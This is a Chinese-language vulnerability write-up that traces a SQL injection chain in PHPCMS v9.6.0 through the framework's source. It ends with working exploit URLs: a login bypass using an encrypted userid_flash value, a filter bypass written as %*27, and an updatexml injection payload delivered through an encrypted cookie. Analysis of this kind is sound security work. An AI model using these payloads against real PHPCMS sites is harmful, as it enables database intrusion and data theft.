目录
前言
环境准备
漏洞点
看一看parse_str函数
看一看sys_auth函数
看一看get_one函数
全局搜索sys_auth($a_k, 'ENCODE')
查看safe_replace函数
判断登录绕过
index的业务
加载modules/wap/index.php
加载modules/attachment/attachments.php
加载modules\content\down.php
前言
本次分析phpcmsV9.6.0 的sql注入漏洞,过程很曲折,就像cc链一样,要一步一步找到利用的链。
纯手动分析没有软件调试,中间找类啊,方法啊 ,都是按照代码流程写的流程分析的,对自己也是一个挑战吧!
环境准备
添加php的运行环境
PHPCMSV9.6.0 源码下载
链接:https://pan.baidu.com/s/1h87h2RLBNsu8Ox6eRRK6Qw?pwd=cefh
提取码:cefh
漏洞点
请看phpcms\modules\content\down.php 文件下down类中的一个函数方法
public function init() {$a_k = trim($_GET['a_k']);if(!isset($a_k)) showmessage(L('illegal_parameters'));$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));if(empty($a_k)) showmessage(L('illegal_parameters'));unset($i,$m,$f);parse_str($a_k);if(isset($i)) $i = $id = intval($i);if(!isset($m)) showmessage(L('illegal_parameters'));if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));if(empty($f)) showmessage(L('url_invalid'));$allow_visitor = 1;$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); $siteids = getcache('category_content','commons');$siteid = $siteids[$catid];$CATEGORYS = getcache('category_content_'.$siteid,'commons');...
get传参&a_k,之后对参数$a_k做了sys_auth()函数处理 模式是解密处理,后面sql的数据库处理,这里是否存在sql注入呢!
看一看parse_str函数
官方文档说明
看来这个函数可以根据传参&k=v 的形式创建变量 ,我们可以创建$id参数 试试sql注入,因为下面的代码涉及数据库查询
看if(isset($i)) $i = $id = intval($i); 好像对$id做了处理,不过没有用,因为上面的代码有执行unset($i,$m,$f); ,这意味者$i是无效的。 之后$id是一直没有做过滤处理,直接到了sql查询,那么这存在的sql注入可能性是非常的大的。
我们欲定制的&id=' and updatexml(1,concat(1,(user())),1) 通过parse_str创建sql注入危险参数 传入sql查询中,这有可能返回用户信息。
不过在此之前我们要看一下加解密的这个函数sys_auth();
看一看sys_auth函数
/*** 字符串加密、解密函数*** @param string $txt 字符串
* @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string $key 密钥:数字、字母、下划线
* @param string $expiry 过期时间* @return string*/function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');}}
只看注解就大致明白了这个函数的基本逻辑,传入了字符串和密钥它就返回一个加了密的或者解了密的字符串。非常可能是对称加密。
而且当你第二个参数密钥没输的话,后面的代码还是会赋给key:pc_base::load_config('system', 'auth_key') ---------------$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
看来pc_base::load_config('system','auth_key')这个就是密钥了。
找到pc_base这个类的load_config方法,找找看密钥在不在
/*** 加载配置文件* @param string $file 配置文件* @param string $key 要获取的配置荐* @param string $default 默认配置。当获取配置项目失败时该值发生作用。* @param boolean $reload 强制重新加载。*/public static function load_config($file, $key = '', $default = '', $reload = false) {static $configs = array();if (!$reload && isset($configs[$file])) {if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';if (file_exists($path)) {$configs[$file] = include $path;}if (empty($key)) {return $configs[$file];} elseif (isset($configs[$file][$key])) {return $configs[$file][$key];} else {return $default;}}
第一个if是进不去的因为$configs[$file] 是刚创建的新数组,看它接下来又进行了什么操作
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
这里给$configs[$file] 赋了值,分析一下。
写宏的定义都可以找到//缓存文件夹地址 define('CACHE_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR.'caches'.DIRECTORY_SEPARATOR); //PHPCMS框架路径 define('PC_PATH', dirname(FILE).DIRECTORY_SEPARATOR);
根据传入的参数$file=system 可以得到$path的目录
CACHE_PATH=phpcms../caches./
$path=phpcms../caches./configs./system.php
在后面的代码逻辑中似乎取出了什么值,$configs[$file][$key]; 。
打开这个文件一看 找auth_key的值
ok 这个密钥找到了
如果这个密钥每个安装cms的用户密钥都一样的,那就可以直接利用。但如果每个用户的密钥都一样那这个时候就另辟途径了。
全局搜索看看有没有调用sys_auth($a_k, 'ENCODE');函数 传入的字符串是否可控 ,若可控还能返回最好 ,我们把准备的get传参交由它加密,最后经过phpcms\modules\content\down.php 的sys_auth解密 不就可以利用了。
为了确保sql注入的准确执行,看一看get_one函数
看一看get_one函数
...$MODEL = getcache('model','commons');$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];$this->db->table_name = $tablename.'_data';$rs = $this->db->get_one(array('id'=>$id)); ...
分析一下db是怎么来的,查看down的构造方法
class down {private $db;function __construct() {$this->db = pc_base::load_model('content_model');}
跟进pc_base类下的load_model方法
/*** 加载数据模型* @param string $classname 类名*/
public static function load_model($classname) {return self::_load_class($classname,'model');
}
在跟进_load_class方法
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}}
由传入的参数$classname=content_model; $path='model'
PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php' == phpcms/model/content_model.class.php'
这个文件是存在的所以会被包含进来
在content_model.class.php内content_model类中没有找到get_one方法,不过它有父类model兴趣能找到get_one方法。
在父类中有get_one方法
*** 获取单条记录查询* @param $where 查询条件* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
final public function get_one($where = '', $data = '*', $order = '', $group = '') {if (is_array($where)) $where = $this->sqls($where);return $this->db->get_one($data, $this->table_name, $where, $order, $group);
}
上来就判断$where是数组吗,是! 刚才我们传的是array('id'=>$id),因此会执行$where = $this->sqls($where);进入sqls方法
/*** 将数组转换为SQL语句* @param array $where 要生成的数组* @param string $font 连接串。*/
final public function sqls($where, $font = ' AND ') {if (is_array($where)) {$sql = '';foreach ($where as $key=>$val) {$sql .= $sql ? " $font `$key` = '$val' " : " `$key` = '$val'";}return $sql;} else {return $where;}
}
假设id=1 那么经过foreach后 $sql="id=1"
假设id=1 key=2那么经过foreach后 $sql="id=1 and key=2"
将$sql返回赋值给$where
续分析return $this->db->get_one($data, $this->table_name, $where, $order, $group);
这里貌似有了新的db,去看一看db怎么来的, 找到model类的构造函数
class model {//数据库配置
protected $db_config = '';
//数据库连接
protected $db = '';
//调用数据库的配置项
protected $db_setting = 'default';
//数据表名
protected $table_name = '';
//表前缀
public $db_tablepre = '';public function __construct() {if (!isset($this->db_config[$this->db_setting])) {$this->db_setting = 'default';}$this->table_name = $this->db_config[$this->db_setting]['tablepre'].$this->table_name;$this->db_tablepre = $this->db_config[$this->db_setting]['tablepre'];$this->db = db_factory::get_instance($this->db_config)->get_database($this->db_setting);
}
找到同级目录下的db_factory类 get_instance静态方法
/*** 返回当前终级类对象的实例* @param $db_config 数据库配置* @return object*/
public static function get_instance($db_config = '') {if($db_config == '') {$db_config = pc_base::load_config('database');}if(db_factory::$db_factory == '') {db_factory::$db_factory = new db_factory();}if($db_config != '' && $db_config != db_factory::$db_factory->db_config) db_factory::$db_factory->db_config = array_merge($db_config, db_factory::$db_factory->db_config);return db_factory::$db_factory;
}
实例化db_factory类,后面又调用了get_database方法 ,
/*** 获取数据库操作实例* @param $db_name 数据库配置名称*/public function get_database($db_name) {if(!isset($this->db_list[$db_name]) || !is_object($this->db_list[$db_name])) {$this->db_list[$db_name] = $this->connect($db_name);}return $this->db_list[$db_name];}
进入connect方法 看看返回的return $this->db_list[$db_name];是什么
/*** 加载数据库驱动* @param $db_name 数据库配置名称* @return object*/
public function connect($db_name) {$object = null;switch($this->db_config[$db_name]['type']) {case 'mysql' :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();break;case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;case 'access' :$object = pc_base::load_sys_class('db_access');break;default :pc_base::load_sys_class('mysql', '', 0);$object = new mysql();}$object->open($this->db_config[$db_name]);return $object;
}
这里我们需要判断 $this->db_config[$db_name]['type'] 存的是什么字符串
connect的$db_name来自get_database的$db_name
get_database的$db_name来自$this->db_setting
db_setting = 'default'
找一下$db_config
$db_config = pc_base::load_config('database');
根据刚才找system的套路 我们也向caches\configs目录下找
<?phpreturn array ('default' => array ('hostname' => 'localhost','port' => 3306,'database' => 'phpcmsv9','username' => 'root','password' => '','tablepre' => 'v9_','charset' => 'utf8','type' => 'mysqli','debug' => true,'pconnect' => 0,'autoconnect' => 0),
);?>
既然是default 后面又有type 那么最终返回的就是mysqli
现在可以判断的是刚才的switch语句会执行以下的代码
case 'mysqli' :$object = pc_base::load_sys_class('db_mysqli');break;
跟进去load_sys_class
/*** 加载系统类方法* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {return self::_load_class($classname, $path, $initialize);
}
在跟进去_load_class
/*** 加载类文件函数* @param string $classname 类名* @param string $path 扩展地址* @param intger $initialize 是否初始化*/
private static function _load_class($classname, $path = '', $initialize = 1) {static $classes = array();if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';$key = md5($path.$classname);if (isset($classes[$key])) {if (!empty($classes[$key])) {return $classes[$key];} else {return true;}}if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';$name = $classname;if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {include $my_path;$name = 'MY_'.$classname;}if ($initialize) {$classes[$key] = new $name;} else {$classes[$key] = true;}return $classes[$key];} else {return false;}
}
ok 我们去上libs/classes 这个目录下的db_mysqli类找出来 ;文件名为db_mysqli.class.php 函数加载了这个类
由此可见db存的是db_mysqli实例化类
db_mysqli有get_one的方法
/*** 获取单条记录查询* @param $data 需要查询的字段值[例`name`,`gender`,`birthday`]* @param $table 数据表* @param $where 查询条件* @param $order 排序方式 [默认按数据库默认方式排序]* @param $group 分组方式 [默认为空]* @return array/null 数据查询结果集,如果不存在,则返回空*/
public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res;
}
所以这里的之前的get_one函数会跳转到上面的get_one函数
final public function get_one($where = '', $data = '*', $order = '', $group = '') {
if (is_array($where)) $where = $this->sqls($where);
return $this->db->get_one($data, $this->table_name, $where, $order, $group);
$where = $where == ' ' ? ' ' : ' WHERE '.$where; 将成为 WHERE id=1 之类的
$order = $order == ' ' ? ' ' : ' ORDER BY '.$order; $order为空
$group = $group == '' ? '' : ' GROUP BY '.$group; $group为空
$data = '*'经过$field = explode( ',', $data); $field成为数组 .....
看sql语句的字符串
$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'
.'.$table.'
'.$where.$group.$order.$limit;
最终形成的形式为$sql = 'SELECT '.$data.' FROM '.$this->config['database'].'
.'.$table.'
' WHERE id=1 LIMIT 1;
这样美誉经过任何过滤项 已经形成sql注入的必要条件了。
全局搜索sys_auth($a_k, 'ENCODE')
在phpcms\libs\classes\param.class.php文件中
/*** 设置 cookie* @param string $var 变量名* @param string $value 变量值* @param int $time 过期时间*/public static function set_cookie($var, $value = '', $time = 0) {$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;$var = pc_base::load_config('system','cookie_pre').$var;$_COOKIE[$var] = $value;if (is_array($value)) {foreach($value as $k=>$v) {setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}} else {setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);}}
('cookie_pre' => 'tqdSZ_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀 )
$value参数可控的话就可以利用,这里setcookie方法貌似是js中定义的,可以返回到前端
function setcookie(name, value, days) {name = cookie_pre+name;var argc = setcookie.arguments.length;var argv = setcookie.arguments;var secure = (argc > 5) ? argv[5] : false;var expire = new Date();if(days==null || days==0) days=1;expire.setTime(expire.getTime() + 3600000*24*days);document.cookie = name + "=" + escape(value) + ("; path=" + cookie_path) + ((cookie_domain == '') ? "" : ("; domain=" + cookie_domain)) + ((secure == true) ? "; secure" : "") + ";expires="+expire.toGMTString();
}
查看哪里调用了 set_cookie
在phpcms/modules/attachment/attachments.php文件中 ,有一个方法
/*** 设置swfupload上传的json格式cookie*/public function swfupload_json() {$arr['aid'] = intval($_GET['aid']);$arr['src'] = safe_replace(trim($_GET['src']));$arr['filename'] = urlencode(safe_replace($_GET['filename']));$json_str = json_encode($arr);$att_arr_exist = param::get_cookie('att_json');$att_arr_exist_tmp = explode('||', $att_arr_exist);if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {return true;} else {$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;param::set_cookie('att_json',$json_str);return true; }}
查看接收字符串的src与filename参数,中间经过了safe_replace的处理之后由json_encode处理后放入set_cookie ,
查看safe_replace函数
/*** 安全过滤函数** @param $string* @return string*/
function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','"',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','<',$string);$string = str_replace('>','>',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string;
}
这个函数的确过滤了不少特殊的字符,但它是顺序执行了的啊!
给出思路: 假如我们像传参%27 我们可以写成%*27 ,是不是可以绕过了。
判断登录绕过
要使用这个类还有有一个前提
看一看attachments类的初始化工作
class attachments {private $att_db;function __construct() {pc_base::load_app_func('global');$this->upload_url = pc_base::load_config('system','upload_url');$this->upload_path = pc_base::load_config('system','upload_path'); $this->imgext = array('jpg','gif','png','bmp','jpeg');$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;//判断是否登录if(empty($this->userid)){showmessage(L('please_login','','member'));}}
必须让userid不为空,分析前面的带代码得知post传入userid_flash参数即可
为了使userid加密 格式正确我们可以看下面的代码
phpcms/modules/wap/index.php
class index {function __construct() { $this->db = pc_base::load_model('content_model');$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);param::set_cookie('siteid',$this->siteid); $this->wap_site = getcache('wap_site','wap');$this->types = getcache('wap_type','wap');$this->wap = $this->wap_site[$this->siteid];define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);if($this->wap['status']!=1) exit(L('wap_close_status'));}
这里get接收siteid并且经过加密(set_cookie里)返回 我们可以拿到一个正常的加密的siteid值
一切都看似很美好,那么我们如何传参呢?
index的业务
看首页的index.php
<?php
/*** index.php PHPCMS 入口** @copyright (C) 2005-2010 PHPCMS* @license http://www.phpcms.cn/license/* @lastmodify 2010-6-1*///PHPCMS根目录define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);include PHPCMS_PATH.'/phpcms/base.php';pc_base::creat_app();?>
跟进pc_base类中的creat_app方法
/*** 初始化应用程序*/
public static function creat_app() {return self::load_sys_class('application');
}
根据刚才的套路可以想到这应该是到libs/classes目录下找application.class 找到application类
application类有构造函数
class application {
/*** 构造函数*/
public function __construct() {$param = pc_base::load_sys_class('param');define('ROUTE_M', $param->route_m());define('ROUTE_C', $param->route_c());define('ROUTE_A', $param->route_a());$this->init();
}
这里定义了几根宏后面可能会用到,看看route_m
/*** 获取模型*/
public function route_m() {$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');$m = $this->safe_deal($m);if (empty($m)) {return $this->route_config['m'];} else {if(is_string($m)) return $m;}
}
route_c
/*** 获取控制器*/public function route_c() {$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');$c = $this->safe_deal($c);if (empty($c)) {return $this->route_config['c'];} else {if(is_string($c)) return $c;}}
$param存的应该是param类
进入init函数
/*** 调用件事*/private function init() {$controller = $this->load_controller();if (method_exists($controller, ROUTE_A)) {if (preg_match('/^[_]/i', ROUTE_A)) {exit('You are visiting the action is to protect the private action');} else {call_user_func(array($controller, ROUTE_A));}} else {exit('Action does not exist.');}}
进入load_controller
/*** 加载控制器* @param string $filename* @param string $m* @return obj*/private function load_controller($filename = '', $m = '') {if (empty($filename)) $filename = ROUTE_C;if (empty($m)) $m = ROUTE_M;$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';if (file_exists($filepath)) {$classname = $filename;include $filepath;if ($mypath = pc_base::my_path($filepath)) {$classname = 'MY_'.$filename;include $mypath;}if(class_exists($classname)){return new $classname;}else{exit('Controller does not exist.');}} else {exit('Controller does not exist.');}}
}
可以传参c=cccc&m=mmm
$filepath=phpcms/modules/mmmm/cccc.php,如果这个文件存在 那就包含这个文件
返回这个实例化类
call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
根据这个逻辑我们可以包含phpcms/modules/wap/index.php,加载index类(__construct会自动执行),这样就可传参siteid了
加载modules/wap/index.php
试一下
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=index&m=wap&siteid=1
我们可以看到这里确实返回了cookie
加载modules/attachment/attachments.php
准备加载在phpcms/modules/attachment/attachments.php加载attachments类
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachments&m=attachment
我们需要执行这个类的一个函数swfupload_json,注意call_user_func(array($controller, ROUTE_A));这段代码似乎在告诉我们可以执行函数
/*** 获取事件*/
public function route_a() {$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');$a = $this->safe_deal($a);if (empty($a)) {return $this->route_config['a'];} else {if(is_string($a)) return $a;}
}
我们试试把get传入参数a
http://localhost/PHPCMSV9.6.0/install_package/index.php?c=attachment&m=attachment&a=swfupload_json
注意这个请求应是post,加上userid_flash 之前我们得到的可以绕过登录的加密密文
userid_flash=6b47nnR-RzzZSlL3pvOWVbDDRPViHYmbMZJc0tHF
如果这个请求可以执行swfupload_json函数, 那就要考虑传参了,这也是我们愿意看到的向src传参。
不过此前我们还要考虑到如下的代码
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
由于以上代码参数限制我们 在传参的时候加把这些if绕过去,于是我们payload设置如下
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=attachments&m=attachment&a=swfupload_json&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=1
此时有cookie的返回
将这段的cookie记录下来
afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
加载modules\content\down.php
phpcms\modules\content\down.php 加载init函数 传入参数&a_k
http://localhost/PHPCMSV9.6.0/install_package/index.php?&c=down&m=content&a=init&a_k=afcfsNwbRJG7g6_H1TAYuikPc7AgYSLv2p1PphPqu-nPAA63qmlQv_V1O1wTd4d4Eyq_hchY-nmSQmL4NVp_lD-SAeYsZ2CoNOueTAT7-peI5i28hB2-QaEKOHJ7G5X-kh60--Mlqr5RlSx-5VYAEpdDcqAUyLRcc1bBeHJ1WE-Y8hk1mVxyOF3yLHfbyDwgvXfXGpPDkjA7rMgp4jFma_m4yFFRrL1_prt4my_NsnI6bKUwyzT1iuTIT2rL7E61
可以看到这里确实可以存在sql注入